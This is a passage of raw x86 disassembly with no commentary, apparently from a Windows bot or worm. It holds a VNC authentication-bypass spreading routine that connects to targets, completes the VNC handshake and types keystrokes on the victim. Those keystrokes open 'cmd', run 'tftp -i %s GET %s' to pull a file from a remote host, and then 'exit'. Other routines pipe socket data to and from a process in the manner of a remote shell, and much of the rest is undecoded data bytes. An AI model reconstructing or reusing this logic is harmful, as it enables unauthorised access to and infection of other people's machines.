eax, [ebp-254h] push eax push dword ptr [ebp-23Ch] call sub_4127DB add esp, 0Ch test eax, eax jz loc_412CB3 movzx eax, word ptr [ebp-254h] and eax, 0FFh shl eax, 8 movzx ecx, word ptr [ebp-254h] sar ecx, 8 and ecx, 0FFh or eax, ecx mov [ebp-254h], ax movzx eax, word ptr [ebp-252h] and eax, 0FFh shl eax, 8 movzx ecx, word ptr [ebp-252h] sar ecx, 8 and ecx, 0FFh or eax, ecx mov [ebp-252h], ax movzx eax, word ptr [ebp-24Ch] and eax, 0FFh shl eax, 8 movzx ecx, word ptr [ebp-24Ch] sar ecx, 8 and ecx, 0FFh or eax, ecx mov [ebp-24Ch], ax movzx eax, word ptr [ebp-24Ah] and eax, 0FFh shl eax, 8 movzx ecx, word ptr [ebp-24Ah] sar ecx, 8 and ecx, 0FFh or eax, ecx mov [ebp-24Ah], ax movzx eax, word ptr [ebp-248h] and eax, 0FFh shl eax, 8 movzx ecx, word ptr [ebp-248h] sar ecx, 8 and ecx, 0FFh or eax, ecx mov [ebp-248h], ax mov eax, [ebp-240h] and eax, 0FF000000h shr eax, 18h mov ecx, [ebp-240h] and ecx, 0FF0000h shr ecx, 8 or eax, ecx mov ecx, [ebp-240h] and ecx, 0FF00h shl ecx, 8 or eax, ecx mov ecx, [ebp-240h] and ecx, 0FFh shl ecx, 18h or eax, ecx mov [ebp-240h], eax mov eax, [ebp-240h] inc eax inc eax push eax call sub_423B90 pop ecx mov [ebp-25Ch], eax mov eax, [ebp-25Ch] mov [ebp-258h], eax push dword ptr [ebp-240h] push dword ptr [ebp-258h] push dword ptr [ebp-23Ch] call sub_412CC3 add esp, 0Ch lea eax, [ebp+0Ch] push eax push dword ptr [ebp-258h] push dword ptr [ebp-20h] push dword ptr [ebp-234h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h lea eax, [ebp-220h] push eax call sub_421B90 add esp, 1Ch push 0 push dword ptr [ebp+0B8h] lea eax, [ebp-220h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40B00F add esp, 14h lea eax, [ebp-220h] push eax call sub_4173DC pop ecx mov eax, [ebp+0B0h] shl eax, 6 mov eax, dword_448FF0[eax] inc eax mov ecx, [ebp+0B0h] shl ecx, 6 mov dword_448FF0[ecx], eax push dword ptr [ebp-23Ch] nop call near ptr 71AB9639h push 1 pop eax jmp short locret_412CC1 ; --------------------------------------------------------------------------- loc_412CB3: ; CODE XREF: .XComp0:00412A3Fj ; .XComp0:00412AA1j ... push dword ptr [ebp-23Ch] nop call near ptr 71AB9639h xor eax, eax locret_412CC1: ; CODE XREF: .XComp0:004128BEj ; .XComp0:0041290Fj ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CC3 proc near ; CODE XREF: .XComp0:00412C24p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jle short loc_412CDD push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4127DB add esp, 0Ch loc_412CDD: ; CODE XREF: sub_412CC3+7j mov eax, [ebp+arg_4] add eax, [ebp+arg_8] and byte ptr [eax], 0 pop ebp retn sub_412CC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CE8 proc near ; CODE XREF: .XComp0:00413177p ; .XComp0:00413193p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_18 = word ptr -18h var_14 = byte ptr -14h var_C = byte ptr -0Ch var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h push esi push edi mov ax, word_44B5A4 mov [ebp+var_4], ax mov ax, word_44B5A8 mov [ebp+var_18], ax mov ax, word_4E4554 mov [ebp+var_1C], ax mov esi, offset dword_4E4558 lea edi, [ebp+var_14] movsd movsb mov esi, offset dword_4E4560 lea edi, [ebp+var_C] movsd movsw cmp [ebp+arg_8], 0 jnz loc_412E3F and [ebp+var_20], 0 jmp short loc_412D3A ; --------------------------------------------------------------------------- loc_412D33: ; CODE XREF: sub_412CE8:loc_412E35j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_412D3A: ; CODE XREF: sub_412CE8+49j cmp [ebp+var_20], 1 jg loc_412E3A mov eax, [ebp+var_20] mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_412D5B cmp [ebp+var_24], 1 jz short loc_412DC9 jmp loc_412E35 ; --------------------------------------------------------------------------- loc_412D5B: ; CODE XREF: sub_412CE8+66j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send push 0 push 1 lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_4E1750 ; send push [ebp+arg_4] call sub_41EBD0 pop ecx cmp eax, 2 jnz short loc_412D9E push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412DAF ; --------------------------------------------------------------------------- loc_412D9E: ; CODE XREF: sub_412CE8+A1j push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_4E1750 ; send loc_412DAF: ; CODE XREF: sub_412CE8+B4j push 0 push [ebp+arg_4] call sub_41EBD0 pop ecx push eax push [ebp+arg_4] push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412E35 ; --------------------------------------------------------------------------- loc_412DC9: ; CODE XREF: sub_412CE8+6Cj push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send push 0 push 1 lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call dword_4E1750 ; send push [ebp+arg_4] call sub_41EBD0 pop ecx cmp eax, 2 jnz short loc_412E0C push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412E1D ; --------------------------------------------------------------------------- loc_412E0C: ; CODE XREF: sub_412CE8+10Fj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_4E1750 ; send loc_412E1D: ; CODE XREF: sub_412CE8+122j push 0 push [ebp+arg_4] call sub_41EBD0 pop ecx push eax push [ebp+arg_4] push [ebp+arg_0] call dword_4E1750 ; send loc_412E35: ; CODE XREF: sub_412CE8+6Ej ; sub_412CE8+DFj jmp loc_412D33 ; --------------------------------------------------------------------------- loc_412E3A: ; CODE XREF: sub_412CE8+56j jmp loc_412F30 ; --------------------------------------------------------------------------- loc_412E3F: ; CODE XREF: sub_412CE8+3Fj mov eax, [ebp+arg_8] mov [ebp+var_28], eax cmp [ebp+var_28], 1 jz short loc_412E56 cmp [ebp+var_28], 2 jz short loc_412EC4 jmp loc_412F30 ; --------------------------------------------------------------------------- loc_412E56: ; CODE XREF: sub_412CE8+161j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send push 0 push 1 lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_4E1750 ; send push [ebp+arg_4] call sub_41EBD0 pop ecx cmp eax, 2 jnz short loc_412E99 push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412EAA ; --------------------------------------------------------------------------- loc_412E99: ; CODE XREF: sub_412CE8+19Cj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_4E1750 ; send loc_412EAA: ; CODE XREF: sub_412CE8+1AFj push 0 push [ebp+arg_4] call sub_41EBD0 pop ecx push eax push [ebp+arg_4] push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412F30 ; --------------------------------------------------------------------------- loc_412EC4: ; CODE XREF: sub_412CE8+167j push 0 push 1 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send push 0 push 1 lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call dword_4E1750 ; send push [ebp+arg_4] call sub_41EBD0 pop ecx cmp eax, 2 jnz short loc_412F07 push 0 push 4 lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4E1750 ; send jmp short loc_412F18 ; --------------------------------------------------------------------------- loc_412F07: ; CODE XREF: sub_412CE8+20Aj push 0 push 5 lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_4E1750 ; send loc_412F18: ; CODE XREF: sub_412CE8+21Dj push 0 push [ebp+arg_4] call sub_41EBD0 pop ecx push eax push [ebp+arg_4] push [ebp+arg_0] call dword_4E1750 ; send loc_412F30: ; CODE XREF: sub_412CE8:loc_412E3Aj ; sub_412CE8+169j ... pop edi pop esi leave retn sub_412CE8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 9Ch push esi push edi mov esi, offset dword_44B5AC lea edi, [ebp-88h] movsd movsd movsd movsb loc_412F4E: ; DATA XREF: .XComp0:off_44FDB0o ; .XComp0:off_44FDB4o mov esi, offset dword_44B5BC lea edi, [ebp-0Ch] movsw movsb mov esi, offset dword_4E4568 lea edi, [ebp-70h] movsd movsb mov ax, word_44B5C0 mov [ebp-68h], ax mov ax, word_44B5C4 mov [ebp-74h], ax mov esi, offset dword_44B5C8 lea edi, [ebp-8] movsw movsb mov esi, offset dword_44B5CC lea edi, [ebp-4] movsw movsb mov esi, offset dword_44B5D0 lea edi, [ebp-78h] movsw movsb mov ax, word_44B5D4 mov [ebp-5Ch], ax and dword ptr [ebp-64h], 0 and dword ptr [ebp-50h], 0 and dword ptr [ebp-60h], 0 push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp-58h], eax cmp dword ptr [ebp-58h], 0FFFFFFFFh jnz short loc_412FCC push dword ptr [ebp-58h] call dword_4E1798 ; closesocket loc_412FCC: ; CODE XREF: .XComp0:00412FC1j mov word ptr [ebp-98h], 2 lea eax, [ebp+0Ch] push eax call dword_4E1740 ; inet_addr mov [ebp-94h], eax push dword ptr [ebp+0A8h] call dword_4E1700 ; ntohs mov [ebp-96h], ax push 10h lea eax, [ebp-98h] push eax push dword ptr [ebp-58h] call dword_4E16A8 ; connect test eax, eax jz short loc_41301E push dword ptr [ebp-58h] call dword_4E1798 ; closesocket xor eax, eax jmp loc_4133F0 ; --------------------------------------------------------------------------- loc_41301E: ; CODE XREF: .XComp0:0041300Cj ; .XComp0:loc_413158j push 1 pop eax test eax, eax jz loc_41315D push 40h push 0 lea eax, [ebp-4Ch] push eax call sub_421410 add esp, 0Ch push 0 push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-58h] call dword_4E1718 ; recv mov [ebp-64h], eax cmp dword ptr [ebp-64h], 0 jle short loc_413059 cmp dword ptr [ebp-64h], 0FFFFFFFFh jnz short loc_41305E loc_413059: ; CODE XREF: .XComp0:00413051j jmp loc_41315D ; --------------------------------------------------------------------------- loc_41305E: ; CODE XREF: .XComp0:00413057j mov eax, [ebp-50h] mov [ebp-9Ch], eax cmp dword ptr [ebp-9Ch], 0 jz short loc_41308B cmp dword ptr [ebp-9Ch], 1 jz short loc_4130DC cmp dword ptr [ebp-9Ch], 2 jz loc_413124 jmp loc_413150 ; --------------------------------------------------------------------------- loc_41308B: ; CODE XREF: .XComp0:0041306Ej lea eax, [ebp-88h] push eax lea eax, [ebp-4Ch] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4130CA push 0 lea eax, [ebp-88h] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp-88h] push eax push dword ptr [ebp-58h] call dword_4E1750 ; send mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_4130DA ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: .XComp0:0041309Fj push dword ptr [ebp-58h] call dword_4E1798 ; closesocket xor eax, eax jmp loc_4133F0 ; --------------------------------------------------------------------------- loc_4130DA: ; CODE XREF: .XComp0:004130C8j jmp short loc_413150 ; --------------------------------------------------------------------------- loc_4130DC: ; CODE XREF: .XComp0:00413077j lea eax, [ebp-0Ch] push eax lea eax, [ebp-4Ch] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_413112 push 0 lea eax, [ebp-68h] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp-68h] push eax push dword ptr [ebp-58h] call dword_4E1750 ; send mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_413122 ; --------------------------------------------------------------------------- loc_413112: ; CODE XREF: .XComp0:004130EDj push dword ptr [ebp-58h] call dword_4E1798 ; closesocket xor eax, eax jmp loc_4133F0 ; --------------------------------------------------------------------------- loc_413122: ; CODE XREF: .XComp0:00413110j jmp short loc_413150 ; --------------------------------------------------------------------------- loc_413124: ; CODE XREF: .XComp0:00413080j lea eax, [ebp-70h] push eax lea eax, [ebp-4Ch] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_413140 mov eax, [ebp-50h] inc eax mov [ebp-50h], eax jmp short loc_413150 ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: .XComp0:00413135j push dword ptr [ebp-58h] call dword_4E1798 ; closesocket xor eax, eax jmp loc_4133F0 ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: .XComp0:00413086j ; .XComp0:loc_4130DAj ... cmp dword ptr [ebp-50h], 3 jnz short loc_413158 jmp short loc_41315D ; --------------------------------------------------------------------------- loc_413158: ; CODE XREF: .XComp0:00413154j jmp loc_41301E ; --------------------------------------------------------------------------- loc_41315D: ; CODE XREF: .XComp0:00413023j ; .XComp0:loc_413059j ... push 0 push 1 lea eax, [ebp-74h] push eax push dword ptr [ebp-58h] call dword_4E1750 ; send push 1 lea eax, [ebp-8] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 3E8h nop call near ptr 27A0000h push 0 lea eax, [ebp-5Ch] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 3E8h nop call near ptr 27A0000h push 2 lea eax, [ebp-8] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 3E8h nop call near ptr 27A0000h and dword ptr [ebp-60h], 0 jmp short loc_4131CF ; --------------------------------------------------------------------------- loc_4131C8: ; CODE XREF: .XComp0:00413216j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_4131CF: ; CODE XREF: .XComp0:004131C6j push offset aCmd ; "cmd" call sub_41EBD0 pop ecx cmp [ebp-60h], eax jnb short loc_413218 mov eax, [ebp-60h] movsx eax, byte ptr aCmd[eax] ; "cmd" push eax push offset dword_44B5D8 push 3 lea eax, [ebp-54h] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7Dh nop call near ptr 27A0000h jmp short loc_4131C8 ; --------------------------------------------------------------------------- loc_413218: ; CODE XREF: .XComp0:004131DDj push 0 lea eax, [ebp-78h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7D0h nop call near ptr 27A0000h push 100h push 0 push offset byte_4E4454 call sub_421410 add esp, 0Ch push offset byte_4410E8 push dword ptr [ebp+8] call sub_40C86E pop ecx push eax push offset aTftpISGetS_0 ; "tftp -i %s GET %s" push 0FFh push offset byte_4E4454 call sub_421B90 add esp, 14h and dword ptr [ebp-60h], 0 jmp short loc_41327B ; --------------------------------------------------------------------------- loc_413274: ; CODE XREF: .XComp0:004132C2j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_41327B: ; CODE XREF: .XComp0:00413272j push offset byte_4E4454 call sub_41EBD0 pop ecx cmp [ebp-60h], eax jnb short loc_4132C4 mov eax, [ebp-60h] movsx eax, byte_4E4454[eax] push eax push offset aC_0 ; "%c" push 3 lea eax, [ebp-54h] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7Dh nop call near ptr 27A0000h jmp short loc_413274 ; --------------------------------------------------------------------------- loc_4132C4: ; CODE XREF: .XComp0:00413289j push 3E8h call near ptr 27A0000h nop push 0 lea eax, [ebp-78h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7530h nop call near ptr 27A0000h and dword ptr [ebp-60h], 0 jmp short loc_4132F8 ; --------------------------------------------------------------------------- loc_4132F1: ; CODE XREF: .XComp0:0041333Fj mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_4132F8: ; CODE XREF: .XComp0:004132EFj push offset byte_4410E8 call sub_41EBD0 pop ecx cmp [ebp-60h], eax jnb short loc_413341 mov eax, [ebp-60h] movsx eax, byte_4410E8[eax] push eax push offset aC_1 ; "%c" push 3 lea eax, [ebp-54h] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7Dh nop call near ptr 27A0000h jmp short loc_4132F1 ; --------------------------------------------------------------------------- loc_413341: ; CODE XREF: .XComp0:00413306j push 3E8h nop call near ptr 27A0000h push 0 lea eax, [ebp-78h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch and dword ptr [ebp-60h], 0 jmp short loc_41336A ; --------------------------------------------------------------------------- loc_413363: ; CODE XREF: .XComp0:004133B1j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_41336A: ; CODE XREF: .XComp0:00413361j push offset aExit ; "exit" call sub_41EBD0 pop ecx cmp [ebp-60h], eax jnb short loc_4133B3 mov eax, [ebp-60h] movsx eax, byte ptr aExit[eax] ; "exit" push eax push offset aC_2 ; "%c" push 3 lea eax, [ebp-54h] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp-54h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch push 7Dh nop call near ptr 27A0000h jmp short loc_413363 ; --------------------------------------------------------------------------- loc_4133B3: ; CODE XREF: .XComp0:00413378j and dword ptr [ebp-60h], 0 jmp short loc_4133C0 ; --------------------------------------------------------------------------- loc_4133B9: ; CODE XREF: .XComp0:004133E2j mov eax, [ebp-60h] inc eax mov [ebp-60h], eax loc_4133C0: ; CODE XREF: .XComp0:004133B7j cmp dword ptr [ebp-60h], 1 ja short loc_4133E4 push 258h nop call near ptr 27A0000h push 0 lea eax, [ebp-78h] push eax push dword ptr [ebp-58h] call sub_412CE8 add esp, 0Ch jmp short loc_4133B9 ; --------------------------------------------------------------------------- loc_4133E4: ; CODE XREF: .XComp0:004133C4j push dword ptr [ebp-58h] call dword_4E1798 ; closesocket push 1 pop eax loc_4133F0: ; CODE XREF: .XComp0:00413019j ; .XComp0:004130D5j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 408h loc_4133FD: ; CODE XREF: .XComp0:loc_413448j push 0 push 400h lea eax, [ebp-400h] push eax push dword_4E4580 call dword_4E1718 ; recv mov [ebp-408h], eax cmp dword ptr [ebp-408h], 0 jle short loc_413448 push 0 lea eax, [ebp-404h] push eax push dword ptr [ebp-408h] lea eax, [ebp-400h] push eax push dword_4E457C call near ptr 2810000h nop loc_413448: ; CODE XREF: .XComp0:00413424j jmp short loc_4133FD ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_413453: ; CODE XREF: .XComp0:loc_41349Fj and dword ptr [ebp-404h], 0 push 0 lea eax, [ebp-404h] push eax push 400h lea eax, [ebp-400h] push eax push dword_4E4570 call near ptr 28108CCh nop cmp dword ptr [ebp-404h], 0 jle short loc_41349F push 0 push dword ptr [ebp-404h] lea eax, [ebp-400h] push eax push dword_4E4580 call dword_4E1750 ; send loc_41349F: ; CODE XREF: .XComp0:00413482j jmp short loc_413453 ; --------------------------------------------------------------------------- byte_4134A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_4021E5+1E44o dd 124EC81h, 57560000h, 6A08758Bh, 0BD8D5928h, 0FFFFFF4Ch dd 458BA5F3h, 28858908h, 8BFFFFFFh, 0FFFF2885h, 9880C7FFh dd 1000000h, 6A000000h, 8D006A10h, 0FFFF3885h, 2DE850FFh dd 830000DFh, 0C7660CC4h, 0FFFF3885h, 0FF0002FFh, 15FFD075h dd 4E1700h, 3A858966h, 6AFFFFFFh, 6A016A06h, 8015FF02h dd 89004E17h, 0FFFF4885h, 8D106AFFh, 0FFFF3885h, 0B5FF50FFh dd 0FFFFFF48h, 172C15FFh, 56A004Eh, 0FF48B5FFh, 15FFFFFFh dd 4E1728h, 8558016Ah, 0D1840FC0h, 6A000001h, 0FF006A00h dd 0FFFF48B5h, 9415FFFFh, 0A3004E17h, 4E4580h, 0FF2C85C7h dd 0CFFFFh, 85C70000h, 0FFFFFF34h, 1, 0FF30A583h, 6A00FFFFh dd 2C858D00h, 50FFFFFFh, 4E457C68h, 45786800h, 79E8004Eh dd 900241CAh, 858D006Ah, 0FFFFFF2Ch, 45746850h, 7068004Eh dd 90004E45h, 41CA5FE8h, 6A446A02h, 0DC858D00h, 50FFFFFEh dd 0DE5FE8h, 0CC48300h, 0FEDC85C7h, 44FFFFh, 85C70000h dd 0FFFFFF08h, 101h, 0CA58366h, 0FFFFFFh, 4E4578A1h, 14858900h dd 0A1FFFFFFh, 4E4574h, 0FF188589h, 6AFFFFh, 26A016Ah dd 0FF1C858Dh, 0E850FFFFh, 240CFE3h, 35FF5090h, 4E4574h dd 0CFD5E890h, 90500240h, 40C9F3E8h, 0F0458D02h, 0DC858D50h dd 50FFFFFEh, 6A006Ah, 9068h, 8D016A04h, 0FFFF2C85h, 858D50FFh dd 0FFFFFF2Ch, 0B5FC6850h, 6A0044h, 36CF32E8h, 858D9002h dd 0FFFFFF20h, 6A006A50h, 344A6800h, 6A0041h, 0FF2C858Dh dd 0E850FFFFh, 238CB0Dh, 24858990h, 8DFFFFFFh, 0FFFF2085h dd 6A50FFh, 0F468006Ah, 6A004133h, 2C858D00h, 50FFFFFFh dd 0CAE7E890h, 45890238h, 0FFFF6AECh, 0E890F075h, 239CF31h dd 75FF006Ah, 0B6E890ECh, 6A023AD6h, 24B5FF00h, 90FFFFFFh dd 3AD6A8E8h, 0EC75FF02h, 0CA24E890h, 0B5FF0236h, 0FFFFFF24h dd 36CA19E8h, 6A9002h, 90F075FFh, 3FD4FFE8h, 7835FF02h dd 90004E45h, 36CA01E8h, 7C35FF02h, 90004E45h, 36C9F5E8h dd 7035FF02h, 90004E45h, 36C9E9E8h, 7435FF02h, 0E8004E45h dd 236C9DEh, 0F475FF90h, 0C9D4E890h, 75FF0236h, 0CBE890F0h dd 0E90236C9h, 0FFFFFE24h, 0FF48B5FFh, 15FFFFFFh, 4E1798h dd 69D4458Bh, 234C0h, 24B0FF00h, 0FF004546h, 4E179815h dd 0D475FF00h, 0FFA0C9E8h, 6A59FFh, 3EC8BFE8h, 5E5F9002h dd 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413748 proc near ; DATA XREF: .XComp0:0044100Co push ebp mov ebp, esp call sub_413752 pop ebp retn sub_413748 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413752 proc near ; CODE XREF: sub_413748+3p push ebp mov ebp, esp push 0FFFEh push 400h call sub_41AE1B pop ecx pop ecx mov dword_4E4588, eax pop ebp retn sub_413752 endp ; --------------------------------------------------------------------------- byte_41376D db 55h, 8Bh, 0ECh ; DATA XREF: .XComp0:0040E5C2o dd 6D8EC81h, 57560000h, 6A08758Bh, 0BD8D5927h, 0FFFFFF60h dd 458BA5F3h, 58858908h, 8BFFFFFFh, 0FFFF5885h, 9880C7FFh dd 1000000h, 83000000h, 0FFFD34A5h, 106A00FFh, 858D006Ah dd 0FFFFFD38h, 0DC5AE850h, 0C4830000h, 85C7660Ch, 0FFFFFD38h dd 0B5FF0002h, 0FFFFFF6Ch, 170015FFh, 8966004Eh, 0FFFD3A85h dd 3CA583FFh, 0FFFFFDh, 16A006Ah, 15FF026Ah, 4E1780h, 0FF5C8589h dd 0BD83FFFFh, 0FFFFFF5Ch, 834875FFh, 7500F47Dh, 0FF006A21h dd 858DF075h, 0FFFFFD48h, 70858D50h, 50FFFFFFh, 0FF60B5FFh dd 0F4E8FFFFh, 83FFFF77h, 858D14C4h, 0FFFFFD48h, 3BB2E850h dd 0FF590000h, 0FFFF64B5h, 9FCCE8FFh, 6A59FFFFh, 0C7C2E800h dd 8B90023Eh, 0FFFF6485h, 34C069FFh, 8B000002h, 0FFFF5C8Dh dd 248889FFh, 6A004546h, 38858D10h, 50FFFFFDh, 0FF5CB5FFh dd 15FFFFFFh, 4E172Ch, 0FFFF883h, 0FD85h, 9415FF00h, 89004E16h dd 0FFFD3085h, 30BD81FFh, 40FFFFFDh, 74000027h, 0F47D8348h dd 6A217500h, 0F075FF00h, 0FD48858Dh, 8D50FFFFh, 0FFFF7085h dd 0B5FF50FFh, 0FFFFFF60h, 0FF775EE8h, 14C483FFh, 0FD48858Dh dd 0E850FFFFh, 3B1Ch, 64B5FF59h, 0E8FFFFFFh, 0FFFF9F36h dd 90006A59h, 3EC72BE8h, 0FFFE6802h, 680000h, 0E8000004h dd 7537h, 88A35959h, 66004E45h, 4E4588A1h, 85896600h, 0FFFFFD3Ah dd 858D106Ah, 0FFFFFD38h, 5CB5FF50h, 0FFFFFFFFh, 4E172C15h dd 0FFF88300h, 15FF6075h, 4E1694h, 0FD2C8589h, 7D83FFFFh dd 2D7500F4h, 0FD2CBD81h, 2740FFFFh, 21740000h, 75FF006Ah dd 48858DF0h, 50FFFFFDh, 0FF70858Dh, 0FF50FFFFh, 0FFFF60B5h dd 76C1E8FFh, 0C483FFFFh, 48858D14h, 50FFFFFDh, 3A7FE8h dd 0B5FF5900h, 0FFFFFF64h, 0FF9E99E8h, 6A59FFh, 3EC68FE8h dd 56A9002h, 0FF5CB5FFh, 15FFFFFFh, 4E1728h, 0FFFF883h dd 0F584h, 2885C700h, 10FFFFFDh, 6A000000h, 0C0855801h dd 0E0840Fh, 858D0000h, 0FFFFFD28h, 48858D50h, 50FFFFFFh dd 0FF5CB5FFh, 15FFFFFFh, 4E1794h, 83FC4589h, 75FFFC7Dh dd 83D0EB02h, 7500F47Dh, 0FF006A21h, 858DF075h, 0FFFFFD48h dd 70858D50h, 50FFFFFFh, 0FF60B5FFh, 28E8FFFFh, 83FFFF76h dd 858D14C4h, 0FFFFFD48h, 39E6E850h, 6A590000h, 2006800h dd 858D0000h, 0FFFFFD48h, 0FC75FF50h, 171815FFh, 0F883004Eh dd 686674FFh, 4410E8h, 4410E868h, 1835FF00h, 0FF004E14h dd 0FFFF60B5h, 8E40E8FFh, 5059FFFFh, 44B60468h, 4006800h dd 858D0000h, 0FFFFF928h, 0E14AE850h, 0C4830000h, 8D006A1Ch dd 0FFF92885h, 79E850FFh, 590000B1h, 28858D50h, 50FFFFF9h dd 0FFFC75FFh, 4E175015h, 0FFF88300h, 90A10B74h, 40004E45h dd 4E4590A3h, 0FF15E900h, 0B5FFFFFFh, 0FFFFFF5Ch, 179815FFh dd 0B5FF004Eh, 0FFFFFF64h, 0FF9D6DE8h, 6A59FFh, 3EC563E8h dd 5E5F9002h, 4C2C9h dword_413AA4 dd 81EC8B55h, 0A94ECh, 0C7575600h, 0FFF8DC85h, 1FFh, 8485C700h ; DATA XREF: .XComp0:0040E47Co dd 1FFFFFEh, 0C7000000h, 0FFF5BC85h, 1FFh, 8758B00h, 0A9B9h dd 80BD8D00h, 0F3FFFFF9h, 8458BA5h, 0FCF08589h, 858BFFFFh dd 0FFFFFCF0h, 2A080C7h, 10000h, 0A5830000h, 0FFFFFEFCh dd 0C8A58300h, 0FFFFF7h, 0FCF4858Dh, 6850FFFFh, 101h, 2B37E890h dd 6A716Ah, 26A016Ah, 6A0070E8h, 85899071h, 0FFFFFC5Ch dd 858D046Ah, 0FFFFF8DCh, 68046A50h, 0FFFFh, 0FC5CB5FFh dd 0E890FFFFh, 716A035Dh, 858D046Ah, 0FFFFFE84h, 68FB6A50h dd 0FFFFh, 0FC5CB5FFh, 0E890FFFFh, 716A0341h, 0F5BC858Dh dd 6850FFFFh, 8004667Eh, 0FC5CB5FFh, 0E890FFFFh, 716A09A1h dd 6085C766h, 2FFFFFCh, 64A58300h, 0FFFFFCh, 1418A166h dd 0FF50004Eh, 4E170015h, 85896600h, 0FFFFFC62h, 858D106Ah dd 0FFFFFC60h, 5CB5FF50h, 90FFFFFCh, 6A024FE8h, 7DC08571h dd 58016A08h, 7D6E9h, 0FF0A6A00h, 0FFFC5CB5h, 8E890FFh dd 83716A4Dh, 0FFF5B8A5h, 0DEB00FFh, 0F5B8858Bh, 8940FFFFh dd 0FFF5B885h, 0B8858BFFh, 3BFFFFF5h, 0FFFEFC85h, 8B1973FFh dd 0FFF5B885h, 85848BFFh, 0FFFFFF00h, 0FC5C853Bh, 275FFFFh dd 0CCEB02EBh, 0F5B8858Bh, 853BFFFFh, 0FFFFFEFCh, 0BD832975h dd 0FFFFFEFCh, 8B207340h, 0FFF5B885h, 5C8D8BFFh, 89FFFFFCh dd 0FF00858Ch, 858BFFFFh, 0FFFFFEFCh, 0FC858940h, 33FFFFFEh dd 75C085C0h, 5C858B86h, 89FFFFFCh, 0FFFE8885h, 58016AFFh dd 840FC085h, 734h, 8D59416Ah, 0FFFEFCB5h, 0C8BD8DFFh dd 0F3FFFFF7h, 6A006AA5h, 8D006A00h, 0FFF7C885h, 858B50FFh dd 0FFFFFE88h, 0E8905040h, 7169F138h, 75FFF883h, 58016A08h dd 6FEE9h, 0E0A58300h, 0FFFFF8h, 858B0DEBh, 0FFFFF8E0h dd 0E0858940h, 8BFFFFF8h, 0FFF8E085h, 88853BFFh, 0FFFFFFEh dd 6CE8Fh, 6A646A00h, 90858D00h, 50FFFFFEh, 0D743E8h, 0CC48300h dd 6A646Ah, 0F8E8858Dh, 0E850FFFFh, 0D730h, 